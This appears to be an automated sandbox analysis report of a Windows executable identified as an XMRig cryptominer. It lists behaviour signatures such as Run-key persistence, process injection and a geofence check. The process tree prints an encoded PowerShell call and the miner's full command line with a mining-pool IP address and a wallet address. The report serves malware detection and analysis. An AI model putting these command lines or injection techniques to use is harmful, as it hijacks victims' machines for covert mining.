Analysis
- max time kernel
146s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
29/12/2022, 19:40
General
- Target 21b049f1f9e91c6436a70b9d44796858.exe
- Size 72KB
- Sample221229-ydj6naea47
- SHA256 a869ac3fa2ed34c5d13fc7ac4f8753f68cc2921959f8fe087cae9a1a7b646d39
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 62 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\21b049f1f9e91c6436a70b9d44796858.exe"C:\Users\Admin\AppData\Local\Temp\21b049f1f9e91c6436a70b9d44796858.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAANAAwAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 167.114.114.169:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.Worker_CPU -p x --algo rx/0 --cpu-max-threads-hint=503⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1724-149-0x000002180F2E0000-0x000002180F300000-memory.dmp
memory/1724-154-0x000002180F460000-0x000002180F480000-memory.dmp
memory/1724-153-0x000002180F460000-0x000002180F480000-memory.dmp
memory/1724-145-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/1724-152-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/1724-147-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/1724-148-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/1724-151-0x000002180F440000-0x000002180F460000-memory.dmp
memory/1724-150-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/2120-139-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/2120-138-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/2120-136-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/4236-137-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/4236-142-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/4236-132-0x000001FED47E0000-0x000001FED47F6000-memory.dmp
memory/4236-134-0x000001FED65A0000-0x000001FED65C2000-memory.dmp
memory/4236-133-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/4384-144-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/4384-143-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/4384-140-0x0000000140000000-0x000000014007C000-memory.dmp